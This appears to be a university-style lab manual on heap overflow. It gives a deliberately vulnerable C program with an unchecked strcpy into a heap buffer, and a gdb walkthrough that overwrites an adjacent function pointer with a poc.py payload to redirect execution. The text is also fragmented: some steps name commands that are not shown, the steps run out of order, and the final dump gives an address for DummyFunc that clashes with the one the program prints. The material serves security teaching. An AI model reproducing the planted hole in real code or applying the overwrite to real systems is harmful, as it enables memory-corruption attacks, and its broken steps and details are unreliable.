Day5_Session1_Lab3(Heap_Overflow)
Day5_Session1_Lab3(Heap_Overflow)
Heap Overflow
Estimated time:
This exercise may take approximately 30 minutes.
Requirements:
● Ubuntu VM as configured in the environment setup.
Objective:
In this lab, we will practically explore heap overflow which might occur when a chunk of memory is allocated in
heap and data is written to this memory without checking bounds of the allocated memory.
Lab Exercise
Vulnerable Program
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data
{
char name[64];
};
struct fp
{
int (*fp) ();
};
void DummyFunc()
{
printf("Hacked Successfully...!\n");
}
void myFunction()
{
printf("Program executed normally...!\n");
}
int main(int argc, char **argv)
{
struct data *dobj;
struct fp *fobj;
dobj = malloc(sizeof(struct data));
fobj = malloc(sizeof(struct fp));
fobj->fp = myFunction; // storing reference of myFunction in
printf("Address of dobj=%p\n", dobj); //for debugging purpose
printf("Address of fobj=%p\n", fobj); //for debugging purpose
printf("Address of DummyFunc=%p\n", DummyFunc);
strcpy(dobj->name, argv[1]);
fobj->fp();
}
Open the terminal and enter the below command to open the editor
$gedit heap.c
Enter the above program,save the file and close the editor.
You can see after a few iterations of the execution program crashed.
Let’s investigate the execution of programs under the GDB for further analysis.
Here you can see that the value of EIP is 0x41414141 which is hexadecimal value of AAAA. This means we can
control the value of EIP by overflowing heap buffer. Our next target is to find the input which is directly affecting
the value of EIP. You can make a note of the address of dobj, fobj and DummyFunc for future reference.
Now close the debugger with the command ‘q’ and then enter ‘y’ to quit.
( gdb) q
A debugging session is active.
Inferior 1 [process 7258] will be killed.
Quit anyway? (y or n) y
Here we can see that the value of EIP is 0x55555555 which is ASCII value of UUUU. Now change the value of UUUU
to 0000 and let's see whether UUUU is really affecting the EIP?
(gdb)run
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT0000
VVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999
Here, we can see that the value of EIP is 0x30303030 which is hexadecimal value of 0000.
After setting the breakpoint, run the program with input AAAAAAAA
$ (gdb) run AAAAAAAA
The dobj points to location inside the heap area. To view the heap memory let’s print 50 frames from the memory
location 32 bytes (0x20) preceding the variable dobj.
Address of dobj is 0x804d1a0 thus 0x804d1a0-0x20 = 0x804d180.
(gdb) x/50x 0x804d180
Here we can see few memory chunks inside the heap. At memory location 0x804d1a0 nothing is written but before
that there is 0x00000051 which is header of the memory chunk allocated. In the same way we can see that at
location 0x804d1f0 nothing has been written but before that there is 0x00000011, which is header of another
memory chunk.
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1e0: 0x00000000 0x00000000 0x00000000 0x00000011
0x804d1f0: 0x00000000 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000
Now continue the program execution. Program will stop at second breakpoint.
(gdb) continue
Continuing.
Breakpoint 2, main (argc=2, argv=0xbffff3a4) at heap1.c:31
33 strcpy(dobj->name, argv[1]);
To view the heap memory contents again to see the changes after the execution of code i.e., from breakpoint 1 to
2.
Run the below command
In the above output we can see that the address of myFunction (0x08049192) has been written at the location
0x804d1f0. Continue the execution of program further.
(gdb)continue
To view the heap memory contents again to see the changes after the execution of code i.e., from breakpoint 2 to
3.
Run the below command
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x41414141 0x41414141 0x00000000 0x00000000
0x804d1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1e0: 0x00000000 0x00000000 0x00000000 0x00000011
0x804d1f0: 0x08049192 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000
Here you can see that 0x41414141 is being written from the location 0x804d1a0 onwards.
Now close the debugger with the command ‘q’ and then enter ‘y’ to quit.
(gdb) q
A debugging session is active.
Inferior 1 [process 7258] will be killed.
Quit anyway? (y or n) y
To verify script is working or not, run the below command and expect 84 A's on terminal as output.
$ python3 ./poc.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Now open the GDB session with ./heap and set the breakpoint after the strcpy(dobj->name, argv[1]);
$ gdb -q ./heap
(gdb)list 1,45
(gdb)b 31
(gdb)run $(python3 ./poc.py)
Let’s see what changes has been made in memory. Run the below command
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1f0: 0x41414141 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000
Now here you can see that the content of memory location 0x804d1f0 has changed from 0x08049192 to
0x41414141. The user can craft an address and modify it in the place of 0x41414141 located at 0x804d1f0. The
same is done in the upcoming steps.
Now close the debugger with the command ‘q’ and then enter ‘y’ to quit.
( gdb) q
A debugging session is active.
Inferior 1 [process 7258] will be killed.
Quit anyway? (y or n) y
Software & Network Security Fundamentals
Copyright © C-DAC Hyderabad, 2025 Page 7 of 8
Heap Overflow Lab Manual
Now run the following command and let’s verify whether the address at location 0x804d1f0 is our desired address
or not.
$ gdb -q ./heap
(gdb) b 31
(gdb) run $(./poc.py)
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1f0: 0x0804a008 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000
With the above output we can see that the content of memory location 0x804d1f0 is address of our DummyFunc.
Continue the execution further.
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x80491a6
Hacked Successfully...!
[Inferior 1 (process 3832) exited normally]